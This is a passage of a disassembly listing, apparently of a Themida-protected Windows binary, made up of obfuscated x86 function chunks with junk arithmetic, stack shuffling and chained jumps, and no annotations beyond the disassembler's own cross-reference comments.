		mov	edx, 282D1741h
		inc	edx
		jmp	loc_5649B8
; ---------------------------------------------------------------------------


loc_56D8E3:				; CODE XREF: sub_55EDA7+14C3j
		add	ebx, 3794929h
		mov	ebp, [esp+18h+var_1A+2]
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_56AF07
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56D8FA:				; CODE XREF: Themida_:0056FE89j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_566190
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D905:				; CODE XREF: sub_55EDA7+13CF2j
		mov	ebp, [esp+1Ch+var_1E+2]
		jmp	loc_565BA0
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D90D	proc near		; DATA XREF: Themida_:0055E100o
		mov	ax, [esp+0]
		jmp	loc_568F6A
sub_56D90D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D916:				; CODE XREF: sub_55EDA7+A1A6j
		push	esp
		push	[esp-18h+arg_14]
		push	[esp-14h+arg_10]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-10h+arg_C]
		pop	esp
		add	esp, 4
		push	192Bh
		mov	[esp-14h+arg_10], ecx
		mov	ecx, 10300E07h
		jmp	loc_563243
; ---------------------------------------------------------------------------


loc_56D949:				; CODE XREF: sub_55EDA7+73A6j
		sub	edi, 13426BF1h
		xor	edi, 181C260Ah
		sub	eax, 4B7962D5h
		sub	eax, 29A63C3Ah
		add	eax, edi
		push	ebx
		mov	ebx, 704E62B4h
		shl	ebx, 8
		jmp	loc_571D56
; ---------------------------------------------------------------------------


loc_56D96F:				; CODE XREF: sub_55EDA7+E3E6j
		xor	edi, [esp+20h+var_22+2]
		jmp	loc_562561
; ---------------------------------------------------------------------------


loc_56D977:				; CODE XREF: sub_55EDA7+F2A9j
		shr	ebx, 1
		dec	ebx
		sub	ebx, 4D0483B6h
		add	esi, ebx
		pop	ebx
		xor	ecx, esi
		pop	esi
		push	edi
		jmp	loc_56BB2B
; ---------------------------------------------------------------------------


loc_56D98C:				; CODE XREF: sub_55EDA7+9A80j
		mov	dh, 0F9h
		mov	ch, 0A6h
		xor	ch, dh
		pop	edx
		dec	ch
		add	ch, 2Eh
		dec	ch
		xor	ch, 0A6h
		xor	al, ch
		push	[esp+2Ch+var_2E+2]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ebx
		mov	bl, 7Fh
		shr	bl, 1
		jmp	loc_5669A6
; ---------------------------------------------------------------------------


loc_56D9B8:				; CODE XREF: sub_55EDA7+7BC8j
		pop	eax
		jmp	loc_56BC5A
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56D9BE	proc near		; CODE XREF: sub_55EDA7+511Bj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	sub_55E8D8
sub_56D9BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56D9C9:				; CODE XREF: sub_55EDA7+129E5j
		pop	ebx
		jmp	loc_56F9E1
; ---------------------------------------------------------------------------


loc_56D9CF:				; CODE XREF: sub_55EDA7+17C9j
		mov	ax, word ptr [esp-1Eh+arg_18+2]
		jmp	loc_566BF8
; ---------------------------------------------------------------------------


loc_56D9D8:				; CODE XREF: sub_55EDA7+1C5Cj
		and	eax, 1FB62B44h
		shl	eax, 3
		sub	eax, 45A4D2C1h
		and	ebp, eax
		pop	eax
		jmp	loc_5643E2
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56D9ED:				; CODE XREF: Themida_:0057278Aj
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	ebx
		mov	ebx, 75FD727Eh
		xor	ebx, 1D244062h
		push	ebp
		mov	ebp, 69756E14h
		jmp	loc_56043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DA2A:				; CODE XREF: sub_55EDA7+ABABj
		mov	[esp+18h+var_1A+2], eax
		push	68FBh
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		push	[esp+1Ch+var_1E+2]
		pop	eax
		add	esp, 4
		add	eax, 4
		push	edi
		push	ebx
		mov	ebx, 450B18A4h
		push	esi
		mov	esi, ebx
		mov	edi, esi
		pop	esi
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		push	4AACh
		jmp	loc_566D58
; ---------------------------------------------------------------------------


loc_56DA65:				; CODE XREF: sub_55EDA7+A617j
		xor	esi, 502279A9h
		xor	esi, 21423AB5h
		add	ecx, esi
		pop	esi
		xor	ecx, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], ecx
		jmp	loc_56147D
; ---------------------------------------------------------------------------


loc_56DA7F:				; CODE XREF: sub_55EDA7+CD4Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		mov	[esp-14h+arg_10], eax
		push	esp
		pop	eax
		jmp	loc_5605FF
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E312


loc_56DA9B:				; CODE XREF: sub_55E312+1139Aj
		add	esp, 4
		sub	esp, 4
		jmp	loc_55EA5A
; END OF FUNCTION CHUNK	FOR sub_55E312
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DAA9:				; CODE XREF: sub_55EDA7+D7A5j
		add	ebp, 4
		jmp	loc_55E361
; ---------------------------------------------------------------------------


loc_56DAB4:				; CODE XREF: sub_55EDA7+5ACj
		pop	ecx
		jmp	loc_56F9C6
; ---------------------------------------------------------------------------


loc_56DABA:				; CODE XREF: sub_55EDA7+75D7j
		mov	[esp+1Ah+var_1A], edx
		sub	esp, 4
		mov	[esp+1Eh+var_1E], esi
		push	2A64h
		mov	[esp+22h+var_22], ebp
		push	3A132F25h
		pop	ebp
		or	ebp, 29924BC4h
		jmp	loc_56C615
; ---------------------------------------------------------------------------


loc_56DADF:				; CODE XREF: sub_55EDA7-B9Ej
		mov	ch, bh
		pop	ebx
		xor	ch, 99h
		mov	bh, ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_572512
; ---------------------------------------------------------------------------


loc_56DAF5:				; CODE XREF: sub_55EDA7+286Cj
		xor	dh, 0B3h
		add	dh, 68h
		add	ch, dh
		pop	edx
		jmp	loc_5652F5
; ---------------------------------------------------------------------------


loc_56DB03:				; CODE XREF: sub_55EDA7+823Fj
		add	al, 0E6h
		push	ebx
		jmp	loc_5673CD
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56DB0B	proc near		; CODE XREF: sub_55EDA7+11AB0j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0056D31E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00571870 SIZE 00000012 BYTES

		push	ebx
		mov	bh, 4Fh
		xor	al, bh
		pop	ebx
		or	al, 0BFh
		shr	al, 5
		push	ecx
		mov	cl, 30h
		jmp	loc_56D31E
sub_56DB0B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DB1E:				; CODE XREF: sub_55EDA7+10CF5j
		neg	esi
		xor	esi, 0FDF7D7EBh
		sub	edx, 47DA433Fh
		add	edx, esi
		add	edx, 47DA433Fh
		pop	esi
		xchg	edx, [esp+10h+var_12+2]
		pop	esp
		mov	eax, esi
		jmp	loc_560BBA
; ---------------------------------------------------------------------------


loc_56DB40:				; CODE XREF: sub_55EDA7-2B3j
		add	ch, 0CBh
		pop	eax
		neg	ch
		push	69DDh
		mov	[esp-28h+arg_24], eax
		mov	ah, 0Fh
		jmp	loc_570274
; ---------------------------------------------------------------------------


loc_56DB55:				; CODE XREF: sub_55EDA7+8A5Aj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56074F
; ---------------------------------------------------------------------------


loc_56DB62:				; CODE XREF: sub_55EDA7+2CF6j
		pop	bx
		neg	dl
		add	dl, 1
		push	ebx
		mov	bh, 31h
		xor	bh, 38h
		sub	dl, bh
		jmp	loc_5729E6
; ---------------------------------------------------------------------------


loc_56DB76:				; CODE XREF: sub_55EDA7+9C21j
		add	[esp-14h+arg_10], 1
		jmp	loc_572631
; ---------------------------------------------------------------------------


loc_56DB7F:				; CODE XREF: sub_55EDA7+13A0Fj
		pop	edi
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		mov	[esp-1Ch+arg_18], eax
		push	475h
		mov	[esp-18h+arg_14], edi
		mov	eax, [esp-18h+arg_14]
		add	esp, 4
		pop	edi
		push	5429h
		jmp	loc_571F30
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56DBAE:				; CODE XREF: Themida_:00571508j
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		add	eax, 22F3124h
		add	eax, ebp
		sub	eax, 22F3124h
		pop	ebp
		xor	eax, [esp]
		jmp	loc_567248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DBCC:				; CODE XREF: sub_55EDA7+B84Dj
		shl	ecx, 4
		push	eax
		mov	eax, 5B245B4h
		jmp	loc_55F60A
; ---------------------------------------------------------------------------


loc_56DBDA:				; CODE XREF: sub_55EDA7+F4DAj
		mov	[esp+44h+var_46+2], esi
		mov	esi, 4CD03DF1h
		dec	esi
		push	edx
		mov	edx, 44A85C74h
		or	edx, 0E2B5805h
		and	edx, 55EA7C6Ch
		sub	edx, 6C4387Bh
		shr	edx, 3
		or	edx, 70514B09h
		xor	edx, 5785FF51h
		sub	esi, edx
		pop	edx
		jmp	loc_5704DA
; ---------------------------------------------------------------------------


loc_56DC12:				; CODE XREF: sub_55EDA7+BBB0j
		push	edx
		push	3FCh
		pop	edx
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 7882294Dh
		jmp	loc_567EA3
; ---------------------------------------------------------------------------


loc_56DC27:				; CODE XREF: sub_55EDA7-72Dj
		mov	esp, [esp-28h+arg_24]
		sub	byte ptr [esp-28h+arg_24], al
		pushf
		jmp	loc_55E1FB
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56DC33	proc near		; CODE XREF: sub_55EDA7+12B72j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0056F02F SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 1043290Dh
		sub	ebp, 41063B25h
		xor	ebp, 1EF24679h
		sub	ebp, 37844E6Fh
		jmp	loc_56F02F
sub_56DC33	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DC50:				; CODE XREF: sub_55EDA7+3AC6j
		and	ecx, esi
		pop	esi
		sub	ecx, 28FE6979h
		sub	ecx, 0DFACA45Ch
		push	edx
		jmp	loc_56AE17
; ---------------------------------------------------------------------------


loc_56DC65:				; CODE XREF: sub_55EDA7+459Ej
		mov	eax, esp
		push	edx
		jmp	loc_560D05
; ---------------------------------------------------------------------------


loc_56DC6D:				; CODE XREF: sub_55EDA7+11C8Dj
		add	esi, ecx
		add	esi, 4935275Ch
		pop	ecx
		sub	edx, esi
		mov	esi, [esp+10h+var_12+2]
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56DC86:				; CODE XREF: sub_55EDA7+B505j
		mov	esi, [esp-1Eh+arg_18+2]
		push	eax
		jmp	loc_5691E8
; ---------------------------------------------------------------------------


loc_56DC8F:				; CODE XREF: sub_55EDA7+1634j
		add	eax, 40773BB9h
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		add	ebx, 23057807h
		add	ebx, eax
		push	edx
		jmp	loc_562447
; ---------------------------------------------------------------------------


loc_56DCA8:				; CODE XREF: sub_55EDA7+A054j
		add	esi, 4
		push	esi
		push	[esp+4Ch+var_4A+2]
		pop	esi
		pop	[esp+4Ch+var_4E+2]
		mov	esp, [esp+48h+var_4A+2]
		xor	bl, al
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_560CB1
; ---------------------------------------------------------------------------


loc_56DCCB:				; CODE XREF: sub_55EDA7+11C20j
		push	dword ptr [esp+0]
		jmp	loc_5605D9
; ---------------------------------------------------------------------------


loc_56DCD3:				; CODE XREF: sub_55EDA7+3302j
		mov	edx, ebx
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], ebp
		xor	ebp, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		imul	ecx
		push	0CE8h
		mov	[esp-0Ch+arg_8], edx
		jmp	loc_564437
; ---------------------------------------------------------------------------


loc_56DCFC:				; CODE XREF: sub_55EDA7+13885j
		mov	[esp-0Ch+arg_8], ebx
		jmp	loc_55F39B
; ---------------------------------------------------------------------------


loc_56DD04:				; CODE XREF: sub_55EDA7+3656j
		mov	al, 69h
		mov	bl, al
		pop	eax
		not	bl
		jmp	loc_571432
; ---------------------------------------------------------------------------


loc_56DD10:				; CODE XREF: sub_55EDA7+458Bj
		pop	esp
		mov	[esp+4+var_4], ebp
		mov	ebp, 0BAE6A27Ah
		sub	esi, ebp
		pop	ebp
		add	ebx, 1848765Fh
		add	ebx, esi
		sub	ebx, 1848765Fh
		jmp	loc_565C08
; ---------------------------------------------------------------------------


loc_56DD2F:				; CODE XREF: sub_55EDA7+369Bj
		mov	ah, 88h
		mov	dh, ah
		pop	eax
		not	dh
		inc	dh
		push	ebx
		mov	bl, 59h
		or	bl, 0A2h
		neg	bl
		jmp	loc_55F193
; ---------------------------------------------------------------------------


loc_56DD45:				; CODE XREF: sub_55EDA7+1065Dj
		add	ebp, 77374191h
		pop	edi
		jmp	loc_569AA7
; ---------------------------------------------------------------------------


loc_56DD51:				; CODE XREF: sub_55EDA7+A80Dj
		mov	[esp+0], edi
		push	[esp+arg_0]
		push	[esp+4+var_4]
		pop	edi
		jmp	loc_568B72
; ---------------------------------------------------------------------------


loc_56DD61:				; CODE XREF: sub_55EDA7+A947j
		mov	esi, 2F3309F4h
		add	edx, esi
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_56C925
; ---------------------------------------------------------------------------


loc_56DD73:				; CODE XREF: sub_55EDA7+10C35j
		mov	eax, 2
		sub	ebx, eax
		pop	eax
		xor	ebx, [esp+10h+var_12+2]
		xor	[esp+10h+var_12+2], ebx
		xor	ebx, [esp+10h+var_12+2]
		pop	esp
		mov	word ptr [esp+0Ch+var_E+2], dx
		push	ecx
		mov	ch, 39h
		jmp	loc_5645B8
; ---------------------------------------------------------------------------


loc_56DD91:				; CODE XREF: sub_55EDA7+134D1j
		add	esp, 4
		push	esi
		mov	esi, 662B350Eh
		jmp	loc_570F10
; ---------------------------------------------------------------------------


loc_56DD9F:				; CODE XREF: sub_55EDA7+64Bj
		add	edi, 34725F9Bh
		sub	edi, eax
		sub	edi, 34725F9Bh
		pop	eax
		pop	eax
		push	ebp
		mov	ebp, 2
		add	edi, 110301B5h
		sub	edi, ebp
		push	eax
		push	ebx
		mov	ebx, 2B5A4100h
		add	ebx, 3ECCC7DDh
		mov	eax, ebx
		jmp	loc_56B03A
; ---------------------------------------------------------------------------


loc_56DDD1:				; CODE XREF: sub_55EDA7+F1B3j
		pop	eax
		jmp	loc_56921A
; ---------------------------------------------------------------------------


loc_56DDD7:				; CODE XREF: sub_55EDA7+9E69j
		pop	edi
		mov	ecx, esi
		jmp	loc_56D826
; ---------------------------------------------------------------------------


loc_56DDDF:				; CODE XREF: sub_55EDA7+AF0Cj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56DDE4:				; CODE XREF: sub_55EDA7-196j
		mov	bh, 37h
		shr	bh, 1
		push	eax
		mov	al, 0EBh
		xor	al, 54h
		xor	bh, al
		pop	eax
		push	edx
		push	ecx
		mov	cl, 45h
		inc	cl
		jmp	loc_56FC91
; ---------------------------------------------------------------------------


loc_56DDFB:				; CODE XREF: sub_55EDA7+599j
		mov	eax, edi
		jmp	loc_56029B
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56DE02	proc near		; CODE XREF: sub_55EDA7+F079j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, 613E424Bh
		add	ebx, 0E60CF9A9h
		xor	eax, ebx
		pop	ebx
		add	edi, eax
		pop	eax
		xchg	edi, [esp-4+arg_0]
		jmp	loc_563C5E
sub_56DE02	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DE1C:				; CODE XREF: sub_55EDA7+10F7Dj
		not	ecx
		xchg	eax, ecx
		inc	eax
		jmp	sub_56DE02
; ---------------------------------------------------------------------------


loc_56DE25:				; CODE XREF: sub_55EDA7+3A8Aj
		sub	eax, 4DE31AF0h
		xor	esi, eax
		jmp	loc_5611AE
; ---------------------------------------------------------------------------


loc_56DE31:				; CODE XREF: sub_55EDA7+3D1j
		or	ebx, 4F7626E0h
		xor	ebx, 4FF7FFEDh
		add	edi, ebx
		jmp	loc_56E498
; ---------------------------------------------------------------------------


loc_56DE44:				; CODE XREF: sub_55EDA7+72C5j
		push	edx
		mov	dh, 15h
		add	ch, dh
		jmp	loc_55F743
; ---------------------------------------------------------------------------


loc_56DE4E:				; CODE XREF: sub_55EDA7+4127j
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_5676B4
; ---------------------------------------------------------------------------


loc_56DE61:				; CODE XREF: sub_55EDA7+1575j
		or	dl, 0CDh
		dec	dl
		or	dl, 0A3h
		sub	dl, 8Ah
		and	al, dl
		pop	edx
		inc	al
		inc	al
		jmp	loc_56314F
; ---------------------------------------------------------------------------


loc_56DE78:				; CODE XREF: sub_55EDA7+108F0j
		add	esi, edx
		jmp	loc_56CF6B
; ---------------------------------------------------------------------------


loc_56DE7F:				; CODE XREF: sub_55EDA7+C539j
		pop	ecx
		push	edx
		mov	edx, 4
		jmp	loc_566D27
; ---------------------------------------------------------------------------


loc_56DE8B:				; CODE XREF: sub_55EDA7+894Aj
		mov	ebp, 4DC7293Ch
		or	ebp, 76E778A7h
		jmp	loc_56FFBD
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F632


loc_56DE9B:				; CODE XREF: sub_56F632-367Dj
		mov	esi, esp
		jmp	loc_568DF5
; END OF FUNCTION CHUNK	FOR sub_56F632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DEA2:				; CODE XREF: sub_55EDA7+6F14j
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_568B9A
; ---------------------------------------------------------------------------


loc_56DEB2:				; CODE XREF: sub_55EDA7+4258j
		add	ebp, esi
		pop	esi
		mov	eax, ebp
		jmp	loc_571E73
; ---------------------------------------------------------------------------


loc_56DEBC:				; CODE XREF: sub_55EDA7+F777j
		sub	ebp, 4
		xchg	ebp, [esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+18h+var_1A+2], eax
		jmp	loc_5670C2
; ---------------------------------------------------------------------------


loc_56DECB:				; CODE XREF: sub_55EDA7+83B1j
		add	ebp, edi
		add	ebp, 55F2198Fh
		sub	ebp, 15720168h
		push	[esp+3Ch+var_3E+2]
		pop	edi
		add	esp, 4
		xor	ebp, [esp+38h+var_3A+2]
		xor	[esp+38h+var_3A+2], ebp
		xor	ebp, [esp+38h+var_3A+2]
		mov	esp, [esp+38h+var_3A+2]
		jmp	loc_56758F
; ---------------------------------------------------------------------------


loc_56DEF1:				; CODE XREF: sub_55EDA7+69C7j
		neg	ebx
		jmp	loc_57295E
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56DEF8:				; DATA XREF: Themida_:0055E04Co
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56F70C
; ---------------------------------------------------------------------------


loc_56DF07:				; CODE XREF: Themida_:0056C016j
		push	edx
		jmp	loc_56BD49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5723B5


loc_56DF0D:				; CODE XREF: sub_5723B5+9j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	4DD6h
		mov	[esp+0Ch+var_C], edi
		mov	edi, esp
		jmp	loc_570B79
; END OF FUNCTION CHUNK	FOR sub_5723B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DF2F:				; CODE XREF: sub_55EDA7+4BF0j
		push	532Ch
		mov	[esp+16h+var_16], edi
		jmp	loc_5690E5
; ---------------------------------------------------------------------------


loc_56DF3C:				; CODE XREF: sub_55EDA7+5D6Ej
		add	ebp, ecx
		pop	ecx
		add	ebp, 8AFA54E5h
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp+26h+var_26]
		mov	esp, [esp+26h+var_26]
		mov	[esp+26h+var_26], eax
		push	ebx
		jmp	loc_57049A
; ---------------------------------------------------------------------------


loc_56DF57:				; CODE XREF: sub_55EDA7+5A38j
		push	[esp+4Ch+var_4E+2]
		jmp	loc_56DDD1
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D8B3


loc_56DF5F:				; CODE XREF: sub_56D8B3+BA9j
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		push	esi
		mov	esi, 47762DD7h
		mov	edx, esi
		pop	esi
		shl	edx, 5
		jmp	loc_569591
; END OF FUNCTION CHUNK	FOR sub_56D8B3

; =============== S U B	R O U T	I N E =======================================



sub_56DF7C	proc near		; CODE XREF: sub_55EDA7+19E8j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		push	esp
		mov	edx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 228A1606h
		jmp	loc_56075A
sub_56DF7C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56DFAE:				; CODE XREF: sub_55EDA7+12063j
		push	esi
		push	ebx
		push	1E0979B2h
		pop	ebx
		dec	ebx
		xor	ebx, 1E0979B3h
		push	ebx
		pop	esi
		mov	ebx, [esp+58h+var_58]
		add	esp, 4
		sub	ebp, 41297A4Ch
		add	ebp, esi
		add	ebp, 41297A4Ch
		pop	esi
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		jmp	loc_565C6E
; ---------------------------------------------------------------------------


loc_56DFE2:				; CODE XREF: sub_55EDA7+80FBj
		add	ebx, 0FF4DCDC6h
		add	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp-12h+arg_C+2], edx
		jmp	loc_570202
; ---------------------------------------------------------------------------


loc_56DFF6:				; CODE XREF: sub_55EDA7+10134j
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	esi, 4EED5AB9h
		add	esi, ebp
		sub	esi, 4EED5AB9h
		pop	ebp
		xchg	esi, [esp-16h+arg_10+2]
		jmp	loc_5697CE
; ---------------------------------------------------------------------------


loc_56E016:				; CODE XREF: sub_55EDA7+719Dj
		mov	esi, edi
		jmp	loc_5669CC
; ---------------------------------------------------------------------------


loc_56E01D:				; CODE XREF: sub_55EDA7+708Dj
		add	ebx, 0D789DA5Bh
		add	ecx, ebx
		mov	ebx, [esp-16h+arg_10+2]
		add	esp, 4
		add	ecx, edi
		jmp	loc_56CD3E
; ---------------------------------------------------------------------------


loc_56E035:				; CODE XREF: sub_55EDA7+FD14j
		sub	al, ch
		add	al, 52h
		jmp	loc_5642AE
; ---------------------------------------------------------------------------


loc_56E03E:				; CODE XREF: sub_55EDA7+8ABDj
		push	[esp-18h+arg_18]
		pop	ecx
		pop	[esp-18h+arg_14]
		mov	esp, [esp-1Ch+arg_18]
		jmp	loc_566BE8
; ---------------------------------------------------------------------------


loc_56E04E:				; CODE XREF: sub_55EDA7+13463j
		neg	ebx
		jmp	loc_56D977
; ---------------------------------------------------------------------------


loc_56E055:				; CODE XREF: sub_55EDA7+6715j
		inc	ebx
		add	ebx, 4327A58Dh
		sub	ecx, ebx
		pop	ebx
		sub	ebx, 11975CDh
		add	ebx, ecx
		jmp	loc_565A9E
; ---------------------------------------------------------------------------


loc_56E06C:				; CODE XREF: sub_55EDA7+1302Bj
		pop	edx
		jmp	loc_562339
; ---------------------------------------------------------------------------


loc_56E072:				; CODE XREF: sub_55EDA7+BE0Cj
		sub	ebx, ebp
		jmp	$+5
		pop	ebp
		jmp	loc_55F6F9
; ---------------------------------------------------------------------------


loc_56E07F:				; CODE XREF: sub_55EDA7+7766j
		pop	esi
		sub	esp, 2
		mov	word ptr [esp+20h+var_22+2], bx
		mov	bx, 1A60h
		add	ax, bx
		jmp	loc_56A4B1
; ---------------------------------------------------------------------------


loc_56E093:				; CODE XREF: sub_55EDA7+D65Cj
		mov	ebp, [esp-24h+arg_20]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp-28h+arg_24]
		jmp	loc_56C089
; ---------------------------------------------------------------------------


loc_56E0A7:				; CODE XREF: sub_55EDA7+2448j
		mov	ebp, 639D2A93h
		sub	ebp, 0EF2EB29Dh
		sub	eax, 7178166Dh
		sub	eax, 66693DA6h
		sub	eax, ebp
		add	eax, 66693DA6h
		add	eax, 7178166Dh
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56E0D1:				; CODE XREF: sub_55EDA7+594Ej
		sub	eax, 25C35D63h
		xor	eax, 6899CA32h
		and	ebx, eax
		jmp	loc_563249
; ---------------------------------------------------------------------------


loc_56E0E2:				; CODE XREF: sub_55EDA7+57B5j
		add	ecx, 7BE37D87h
		push	ebx
		push	edi
		mov	edi, 2CB25916h
		inc	edi
		shr	edi, 4
		and	edi, 6A950E7Eh
		jmp	loc_57270A
; ---------------------------------------------------------------------------


loc_56E0FE:				; CODE XREF: sub_55EDA7+D5C1j
		push	[esp+26h+var_26]
		pop	edi
		push	esi
		mov	esi, esp
		jmp	loc_565B0F
; ---------------------------------------------------------------------------


loc_56E10A:				; CODE XREF: sub_55EDA7+B359j
		sub	eax, ebx
		push	ebx
		push	eax
		mov	eax, 62AC1E2Fh
		jmp	loc_56BDD8
; ---------------------------------------------------------------------------


loc_56E118:				; CODE XREF: sub_55EDA7+10E4Fj
		pop	ebx
		xor	edi, [esp-24h+arg_20]
		xor	[esp-24h+arg_20], edi
		xor	edi, [esp-24h+arg_20]
		mov	esp, [esp-24h+arg_20]
		mov	ax, word ptr [esp-24h+arg_20]
		jmp	loc_562F9F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D6ED


loc_56E12E:				; CODE XREF: sub_56D6ED+52D4j
		add	eax, ebx
		jmp	loc_5685FD
; END OF FUNCTION CHUNK	FOR sub_56D6ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E135:				; CODE XREF: sub_55EDA7+E31Fj
		push	edi
		jmp	loc_571DF1
; ---------------------------------------------------------------------------


loc_56E13B:				; CODE XREF: sub_55EDA7+8B86j
		pop	edi
		jmp	loc_56BC0C
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56E141	proc near		; CODE XREF: sub_55EDA7+CAF5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 2
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		mov	edx, 6AC2244Ch
		sub	eax, edx
		pop	edx
		add	eax, ebx
		jmp	loc_563C36
sub_56E141	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56E171:				; CODE XREF: sub_55EDA7+A686j
		push	edx
		mov	edx, 618101Ch
		mov	esi, 56C60C2h
		xor	esi, edx
		pop	edx
		xor	ecx, esi
		mov	esi, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_56C295
; ---------------------------------------------------------------------------


loc_56E18C:				; CODE XREF: sub_55EDA7+9413j
		pop	esi
		jmp	loc_570D24
; ---------------------------------------------------------------------------


loc_56E192:				; CODE XREF: sub_55EDA7+2524j
		mov	[esp+4+var_4], ebp
		mov	ebp, 42FA0722h
		jmp	sub_571E9D
; ---------------------------------------------------------------------------


